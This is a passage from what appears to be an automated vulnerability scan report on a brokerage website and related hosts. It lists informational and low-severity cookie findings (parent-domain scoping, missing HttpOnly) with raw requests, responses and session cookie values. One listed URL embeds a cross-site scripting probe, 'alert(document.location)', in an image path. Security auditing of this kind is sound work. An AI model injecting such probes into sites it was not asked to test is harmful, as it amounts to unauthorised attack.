Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.optionsxpress.com
Path:	/security_risks/disclosures.aspx

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:

TLTHID=FED853FE416DB0F03FEDDCB469A9145C; Path=/; Domain=.optionsxpress.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /security_risks/disclosures.aspx HTTP/1.1
Host: www.optionsxpress.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 41170
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Set-Cookie: TLTHID=FED853FE416DB0F03FEDDCB469A9145C; Path=/; Domain=.optionsxpress.com
Date: Thu, 08 Sep 2011 19:47:42 GMT
Connection: close
Vary: Accept-Encoding

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<title>
...[SNIP]...

9.101. http://www.optionsxpress.com/security_risks/docs/privacy.aspx previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.optionsxpress.com
Path:	/security_risks/docs/privacy.aspx

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:

TLTHID=4C2659034820370B6A9DFB9CB9AA0744; Path=/; Domain=.optionsxpress.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /security_risks/docs/privacy.aspx HTTP/1.1
Host: www.optionsxpress.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 14038
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Set-Cookie: TLTHID=4C2659034820370B6A9DFB9CB9AA0744; Path=/; Domain=.optionsxpress.com
Date: Thu, 08 Sep 2011 19:47:42 GMT
Connection: close
Vary: Accept-Encoding

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<title>
...[SNIP]...

9.102. http://www.optionsxpress.com/security_risks/financial_statement.aspx previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.optionsxpress.com
Path:	/security_risks/financial_statement.aspx

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:

TLTHID=65005755437004387D7FFBBE530F7372; Path=/; Domain=.optionsxpress.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /security_risks/financial_statement.aspx HTTP/1.1
Host: www.optionsxpress.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 13870
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Set-Cookie: TLTHID=65005755437004387D7FFBBE530F7372; Path=/; Domain=.optionsxpress.com
Date: Thu, 08 Sep 2011 19:47:41 GMT
Connection: close
Vary: Accept-Encoding

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<title>
...[SNIP]...

9.103. http://www.optionsxpress.com/security_risks/risks_policies.aspx previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.optionsxpress.com
Path:	/security_risks/risks_policies.aspx

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:

TLTHID=DB249C1A430D3C4503D85E86687565CD; Path=/; Domain=.optionsxpress.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /security_risks/risks_policies.aspx HTTP/1.1
Host: www.optionsxpress.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 19725
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Set-Cookie: TLTHID=DB249C1A430D3C4503D85E86687565CD; Path=/; Domain=.optionsxpress.com
Date: Thu, 08 Sep 2011 19:47:42 GMT
Connection: close
Vary: Accept-Encoding

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<title>
...[SNIP]...

9.104. http://www.optionsxpress.com/security_risks/security_center.aspx previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.optionsxpress.com
Path:	/security_risks/security_center.aspx

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:

TLTHID=E2BEAFED437171EB820D4E98385DB156; Path=/; Domain=.optionsxpress.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /security_risks/security_center.aspx HTTP/1.1
Host: www.optionsxpress.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 15926
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Set-Cookie: TLTHID=E2BEAFED437171EB820D4E98385DB156; Path=/; Domain=.optionsxpress.com
Date: Thu, 08 Sep 2011 19:47:40 GMT
Connection: close
Vary: Accept-Encoding

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<title>
...[SNIP]...

9.105. http://www.optionsxpress.com/tools_research/ox_mobile.aspx previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.optionsxpress.com
Path:	/tools_research/ox_mobile.aspx

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:

TLTHID=FD7A328447D092AF8488C6A5531FE92B; Path=/; Domain=.optionsxpress.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /tools_research/ox_mobile.aspx HTTP/1.1
Host: www.optionsxpress.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 15747
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Set-Cookie: TLTHID=FD7A328447D092AF8488C6A5531FE92B; Path=/; Domain=.optionsxpress.com
Date: Thu, 08 Sep 2011 19:47:39 GMT
Connection: close
Vary: Accept-Encoding

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<title>
...[SNIP]...

9.106. http://www.optionsxpress.com/tools_research/powerful_tools.aspx previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.optionsxpress.com
Path:	/tools_research/powerful_tools.aspx

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:

TLTHID=2E2574AB41F5BC605C9F9897C3432558; Path=/; Domain=.optionsxpress.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /tools_research/powerful_tools.aspx HTTP/1.1
Host: www.optionsxpress.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 16865
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Set-Cookie: TLTHID=2E2574AB41F5BC605C9F9897C3432558; Path=/; Domain=.optionsxpress.com
Date: Thu, 08 Sep 2011 19:47:38 GMT
Connection: close
Vary: Accept-Encoding

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<title>
...[SNIP]...

9.107. http://www.optionsxpress.com/tools_research/xtend_2.aspx previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.optionsxpress.com
Path:	/tools_research/xtend_2.aspx

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:

TLTHID=3E3E48CF4431C4E5425025B2B98DADD9; Path=/; Domain=.optionsxpress.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /tools_research/xtend_2.aspx HTTP/1.1
Host: www.optionsxpress.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 15806
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Set-Cookie: TLTHID=3E3E48CF4431C4E5425025B2B98DADD9; Path=/; Domain=.optionsxpress.com
Date: Thu, 08 Sep 2011 19:47:39 GMT
Connection: close
Vary: Accept-Encoding

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<title>
...[SNIP]...

9.108. http://www.optionsxpress.com/what_we_offer/free_account_transfers.aspx previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.optionsxpress.com
Path:	/what_we_offer/free_account_transfers.aspx

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:

TLTHID=ECD9E2464BC899B5DEA91BB4AFEB72A7; Path=/; Domain=.optionsxpress.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /what_we_offer/free_account_transfers.aspx HTTP/1.1
Host: www.optionsxpress.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 15093
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Set-Cookie: TLTHID=ECD9E2464BC899B5DEA91BB4AFEB72A7; Path=/; Domain=.optionsxpress.com
Date: Thu, 08 Sep 2011 19:47:43 GMT
Connection: close
Vary: Accept-Encoding

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<title>
...[SNIP]...

9.109. http://www.optionsxpress.com/why_ox/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.optionsxpress.com
Path:	/why_ox/

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:

TLTHID=3CFE0203443873E7E1112FA21AEBCE4E; Path=/; Domain=.optionsxpress.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /why_ox/ HTTP/1.1
Host: www.optionsxpress.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 23885
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Set-Cookie: TLTHID=3CFE0203443873E7E1112FA21AEBCE4E; Path=/; Domain=.optionsxpress.com
Date: Thu, 08 Sep 2011 19:47:36 GMT
Connection: close
Vary: Accept-Encoding

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<title>
...[SNIP]...

9.110. https://www.optionsxpress.com/downloads/financial_services_guide.pdf previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.optionsxpress.com
Path:	/downloads/financial_services_guide.pdf

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:

TLTHID=D480F472402E51465C012E9BFA1894F1; Path=/; Domain=.optionsxpress.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /downloads/financial_services_guide.pdf HTTP/1.1
Host: www.optionsxpress.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

9.111. https://www.optionsxpress.com/login.asp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.optionsxpress.com
Path:	/login.asp

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:

TLTHID=1B1DD000453D0D2ED80148A6B79D7F5A; Path=/; Domain=.optionsxpress.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /login.asp HTTP/1.1
Host: www.optionsxpress.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

9.112. https://www.optionsxpress.com/welcome.asp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.optionsxpress.com
Path:	/welcome.asp

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:

TLTHID=23D6A57C4BE8F428BC3F1C97DD0273A0; Path=/; Domain=.optionsxpress.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /welcome.asp HTTP/1.1
Host: www.optionsxpress.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

9.113. http://www.youtube.com/results previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.youtube.com
Path:	/results

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:

GEO=cfbdccd9bf80df90c1b6157efb90bfb7cwsAAAAzVVMyF3tqTmkbrQ==; path=/; domain=.youtube.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /results HTTP/1.1
Host: www.youtube.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Thu, 08 Sep 2011 19:46:53 GMT
Server: wiseguy/0.6.10
X-Content-Type-Options: nosniff
Set-Cookie: GEO=cfbdccd9bf80df90c1b6157efb90bfb7cwsAAAAzVVMyF3tqTmkbrQ==; path=/; domain=.youtube.com
Expires: Tue, 27 Apr 1971 19:44:06 EST
Cache-Control: no-cache
X-Frame-Options: SAMEORIGIN
Content-Type: text/html; charset=utf-8
Connection: close

<!DOCTYPE html>
<html lang="en" dir="ltr" >

<head>

<script>
var yt = yt || {};yt.timing = yt.timin
...[SNIP]...

10. Cookie without HttpOnly flag set previous next
There are 148 instances of this issue:

http://pixel.everesttech.net/2164/cq
https://www.interactivebrokers.com/Universal/servlet/AccountAccess.Login
https://www.interactivebrokers.com/Universal/servlet/AccountAccess.Logout
https://www.interactivebrokers.com/Universal/servlet/Registration_v3.formScreenPreReg
https://www.interactivebrokers.com/Universal/servlet/formWelcome
https://www.interactivebrokers.com/sso/Authenticator
https://www.interactivebrokers.com/sso/Login
https://www.optionsxpress.com/new_account.asp
https://www.optionsxpress.com/new_account.asp
https://www.optionsxpress.com/welcome.asp
http://360.sorensonmedia.com/7d285f50de540c4b64C9b74Y99dcc88d0ad6/embedv2.js
https://account.optionsxpress.com/OpenAccount/Index
https://account.optionsxpress.com/OpenAccount/NewAccountAjax/GenericHandler
https://account.optionsxpress.com/OpenAccount/Scripts/nap.css
https://account.optionsxpress.com/OpenAccount/Scripts/napgeneral.js
https://account.optionsxpress.com/OpenAccount/Scripts/naponload.js
https://account.optionsxpress.com/OpenAccount/Scripts/napvalidate.js
https://account.optionsxpress.com/css/oxps.css
https://account.optionsxpress.com/favicon.ico
https://account.optionsxpress.com/images/btn_next_step.jpg
https://account.optionsxpress.com/images/icon_arrow.jpg
https://account.optionsxpress.com/images/icons/log_in.gif
https://account.optionsxpress.com/images/logos/firm/newlogo_ox.gif
https://account.optionsxpress.com/images/logos/firm/newlogo_oxb5a37alert(document.location)//18aaa9ddc45.gif
https://account.optionsxpress.com/images/minus_new_acct.gif
https://account.optionsxpress.com/images/newaccount/account_select1.gif
https://account.optionsxpress.com/images/newaccount/account_select2.gif
https://account.optionsxpress.com/images/newaccount/nap_error_icon.png
https://account.optionsxpress.com/images/newaccount/nap_tip_icon.gif
https://account.optionsxpress.com/images/openAccount_bottom.jpg
https://account.optionsxpress.com/images/plus_new_acct.gif
https://account.optionsxpress.com/images/rightColumn_divider.jpg
https://account.optionsxpress.com/images/styles/bubble/b.gif
https://account.optionsxpress.com/images/styles/bubble/bl.gif
https://account.optionsxpress.com/images/styles/bubble/br.gif
https://account.optionsxpress.com/images/styles/bubble/l.gif
https://account.optionsxpress.com/images/styles/bubble/r.gif
https://account.optionsxpress.com/images/styles/bubble/t.gif
https://account.optionsxpress.com/images/styles/bubble/tl.gif
https://account.optionsxpress.com/images/styles/bubble/tr.gif
https://account.optionsxpress.com/images/welcome/home/log_out.gif
https://account.optionsxpress.com/images/welcome/home/open_account_4.gif
https://account.optionsxpress.com/inc/general.js
https://account.optionsxpress.com/inc/interface.js
https://account.optionsxpress.com/inc/js/plugins/accordion.js
https://account.optionsxpress.com/inc/js/plugins/jquery.blockUI.js
https://account.optionsxpress.com/inc/newaccount/general.js
https://account.optionsxpress.com/inc/newaccount/jquer.ui.all.css
https://account.optionsxpress.com/inc/newaccount/jquery-1.3.2.min.js
https://account.optionsxpress.com/inc/newaccount/jquery.autotab.js
https://account.optionsxpress.com/inc/newaccount/jquery.scrollTo-min.js
https://account.optionsxpress.com/inc/newaccount/styles.css
https://account.optionsxpress.com/inc/s_code.js
https://adwords.google.com/um/StartNewLogin
https://cwt1.interactivebrokers.com/webtrader2/servlet/login
http://finance.yahoo.com/news/Pacer-Adds-LNG-Trucks-to-bw-1749635685.html
http://finance.yahoo.com/news/Piedmont-Natural-Gas-prnews-2212692382.html
http://finance.yahoo.com/news/Primary-Petroleum-Present-iw-1675004773.html
http://finance.yahoo.com/news/Retail-gasoline-prices-up-apf-2916275523.html
http://finance.yahoo.com/news/US-Steel-converts-vehicles-to-apf-2954052497.html
https://icewebinar.webex.com/icewebinar/lsr.php
https://interactivebrokers.webex.com/interactivebrokers/lsr.php
https://interactivebrokers.webex.com/interactivebrokers/onstage/g.php
http://pfgbest.app5.hubspot.com/salog.js.aspx
http://rcv-srv20.inplay.tubemogul.com/StreamReceiver/services
http://receive.inplay.tubemogul.com/StreamReceiver/demo
http://rtd.tubemogul.com/upi/pid/5w3jqr4k
http://server.iad.liveperson.net/hc/82583755/
http://server.iad.liveperson.net/hc/82583755/
http://shared.websol.barchart.com/css/bc_styles.css
http://stats.manticoretechnology.com/Data/578/12867/3756E06F-E585-4584-AC1F-E9FCA21FAC0F/mtcLogData.asp
http://www.cqgtrader.com/
http://www.cqgtrader.com/Languages/USEng/main.asp
https://www.cqgtrader.com/Languages/USEng/main.asp
http://www.facebook.com/dialog/feed
http://www.globalfutures.com/index.asp
http://www.googleadservices.com/pagead/aclk
http://www.interactivebrokers.co.uk/favicon.ico
http://www.interactivebrokers.com/mkt/index.php
http://www.invest-store.com/images/button.gif
http://www.invest-store.com/images/go_button.gif
http://www.invest-store.com/images/mi_button.gif
http://www.invest-store.com/images/small/5197574.jpg
http://www.invest-store.com/images/small/8024.jpg
http://www.invest-store.com/images/small/9349587.jpg
http://www.invest-store.com/images/spacer1.gif
http://www.optionsxpress.com/
http://www.optionsxpress.com/404.aspx
http://www.optionsxpress.com/about_us/awards_media.aspx
http://www.optionsxpress.com/about_us/contact_us.aspx
http://www.optionsxpress.com/about_us/faq.aspx
http://www.optionsxpress.com/about_us/pricing_commissions.aspx
http://www.optionsxpress.com/check_us_out/right_for_you.aspx
http://www.optionsxpress.com/check_us_out/site_map.aspx
http://www.optionsxpress.com/corporate/about_us.aspx
http://www.optionsxpress.com/favicon.ico
http://www.optionsxpress.com/free_education/education_center.aspx
http://www.optionsxpress.com/free_education/live_events/
http://www.optionsxpress.com/free_education/virtual_trade.aspx
http://www.optionsxpress.com/images/promo_static/ox.gif
http://www.optionsxpress.com/images/promo_unique/divider.jpg
http://www.optionsxpress.com/images/promo_unique/live-help.jpg
http://www.optionsxpress.com/images/promo_unique/phone.jpg
http://www.optionsxpress.com/images/promo_unique/shadow.png
http://www.optionsxpress.com/images/promos/allInOne.png
http://www.optionsxpress.com/images/promos/barronsBg.png
http://www.optionsxpress.com/images/promos/chartC4c.jpg
http://www.optionsxpress.com/images/promos/footer1Logo11.png
http://www.optionsxpress.com/images/promos/kiplingerBg.png
http://www.optionsxpress.com/images/promos/mainBottom.png
http://www.optionsxpress.com/images/promos/toolsIcons.png
http://www.optionsxpress.com/images/promos/whiteboard_sales_lp.png
http://www.optionsxpress.com/images/ui/ui-bg_glass_65_ffffff_1x400.png
http://www.optionsxpress.com/images/ui/ui-bg_highlight-soft_50_0b457d_1x100.png
http://www.optionsxpress.com/images/ui/ui-bg_highlight-soft_50_125697_1x100.png
http://www.optionsxpress.com/images/welcome/home/log_out.gif
http://www.optionsxpress.com/images/welcome/home/open_account_4.gif
http://www.optionsxpress.com/inc/css/fonts.css
http://www.optionsxpress.com/inc/css/nav.css
http://www.optionsxpress.com/inc/css/print.css
http://www.optionsxpress.com/inc/css/screen.css
http://www.optionsxpress.com/inc/css/styles.css
http://www.optionsxpress.com/inc/css/ui.css
http://www.optionsxpress.com/inc/general.js
http://www.optionsxpress.com/inc/js/library.js
http://www.optionsxpress.com/inc/js/stats.js
http://www.optionsxpress.com/inc/js/xpress.js
http://www.optionsxpress.com/index.aspx
http://www.optionsxpress.com/our_products/futures.aspx
http://www.optionsxpress.com/our_products/more_choices.aspx
http://www.optionsxpress.com/our_products/options.aspx
http://www.optionsxpress.com/our_products/stocks.aspx
http://www.optionsxpress.com/promos/experience_an_options_specialist.aspx
http://www.optionsxpress.com/promos/none
http://www.optionsxpress.com/security_risks/disclosures.aspx
http://www.optionsxpress.com/security_risks/docs/privacy.aspx
http://www.optionsxpress.com/security_risks/financial_statement.aspx
http://www.optionsxpress.com/security_risks/risks_policies.aspx
http://www.optionsxpress.com/security_risks/security_center.aspx
http://www.optionsxpress.com/tools_research/ox_mobile.aspx
http://www.optionsxpress.com/tools_research/powerful_tools.aspx
http://www.optionsxpress.com/tools_research/xtend_2.aspx
http://www.optionsxpress.com/what_we_offer/free_account_transfers.aspx
http://www.optionsxpress.com/why_ox/
https://www.optionsxpress.com/downloads/financial_services_guide.pdf
https://www.optionsxpress.com/login.asp
https://www.secureclient5.ranweb.com/login/ranweb.asp
http://www.youtube.com/results

Issue background

If the HttpOnly attribute is set on a cookie, then the cookie's value cannot be read or set by client-side JavaScript. This measure can prevent certain client-side attacks, such as cross-site scripting, from trivially capturing the cookie's value via an injected script.

Issue remediation

There is usually no good reason not to set the HttpOnly flag on all cookies. Unless you specifically require legitimate client-side scripts within your application to read or set a cookie's value, you should set the HttpOnly flag by including this attribute within the relevant Set-cookie directive.

You should be aware that the restrictions imposed by the HttpOnly flag can potentially be circumvented in some circumstances, and that numerous other serious attacks can be delivered by client-side script injection, aside from simple cookie stealing.

10.1. http://pixel.everesttech.net/2164/cq previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	http://pixel.everesttech.net
Path:	/2164/cq

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

everest_session_v2=CeBOaRZ1-iwAAIdj; path=/; domain=.everesttech.net
everest_g_v2=g_surferid~zqROZUBXyFQAAIdR; path=/; domain=.everesttech.net; expires=Fri, 13-Sep-2030 06:04:37 GMT

The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /2164/cq?ev_sid=3&ev_ln=futures%20options&ev_crx=7551788913&ev_mt=b&ev_n=g&ev_ltx=&ev_pl=&url=http%3A//www.optionsxpress.com/promos/experience_an_options_specialist.aspx%3Fintcmp%3Dlp_sales_futures%26cmpid%3Dgsus23305007 HTTP/1.1
Host: pixel.everesttech.net
Proxy-Connection: keep-alive
Referer: http://www.google.com/search?sourceid=chrome&ie=UTF-8&q=futures+trading
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: everest_g_v2=g_surferid~zqROZUBXyFQAAIdR

Response

HTTP/1.1 302 Found
Date: Thu, 08 Sep 2011 19:24:37 GMT
Server: Apache
Set-Cookie: everest_session_v2=CeBOaRZ1-iwAAIdj; path=/; domain=.everesttech.net
Set-Cookie: everest_g_v2=g_surferid~zqROZUBXyFQAAIdR; path=/; domain=.everesttech.net; expires=Fri, 13-Sep-2030 06:04:37 GMT
P3P: CP="NOI NID DEVa PSAa PSDa OUR IND PUR COM NAV INT DEM"
Cache-Control: no-cache
Location: http://www.optionsxpress.com/promos/experience_an_options_specialist.aspx?intcmp=lp_sales_futures&cmpid=gsus23305007&ef_id=zqROZUBXyFQAAIdR:20110908192437:s
Content-Length: 348
Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>302 Found</title>
</head><body>
<h1>Found</h1>
<p>The document has moved <a href="http://www.optionsxpress.com/promos/experience_
...[SNIP]...

10.2. https://www.interactivebrokers.com/Universal/servlet/AccountAccess.Login previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	https://www.interactivebrokers.com
Path:	/Universal/servlet/AccountAccess.Login

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

JSESSIONID=D24B4AC443B91EEF9FD5C3E648B0EBBA.www3; Path=/Universal; Secure
JSESSIONID=FA1637BB4C1210749D198C9C6CCCF2EA.www3; Path=/Universal; Secure

The cookies appear to contain session tokens, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /Universal/servlet/AccountAccess.Login HTTP/1.1
Host: www.interactivebrokers.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.0 200 OK
Date: Thu, 08 Sep 2011 19:47:10 GMT
Server: Apache
Pragma: no-cache
Cache-Control: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Set-Cookie: JSESSIONID=D24B4AC443B91EEF9FD5C3E648B0EBBA.www3; Path=/Universal; Secure
Set-Cookie: JSESSIONID=FA1637BB4C1210749D198C9C6CCCF2EA.www3; Path=/Universal; Secure
Content-Language: en
Content-Length: 16505
Connection: close
Content-Type: text/html;charset=UTF-8

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 T
...[SNIP]...

10.3. https://www.interactivebrokers.com/Universal/servlet/AccountAccess.Logout previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	https://www.interactivebrokers.com
Path:	/Universal/servlet/AccountAccess.Logout

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

JSESSIONID=A55CBF6DD6AC2BCEDB63CB76F1C14DC5.www3; Path=/Universal; Secure
JSESSIONID=BCEA933607F5BEC843FF7E88BA2DBC25.www3; Path=/Universal; Secure
JSESSIONID=56A61A82D2AFCE5A9F25ACEB787F17D3.www3; Path=/Universal; Secure

The cookies appear to contain session tokens, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /Universal/servlet/AccountAccess.Logout HTTP/1.1
Host: www.interactivebrokers.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.0 200 OK
Date: Thu, 08 Sep 2011 19:47:11 GMT
Server: Apache
Pragma: no-cache
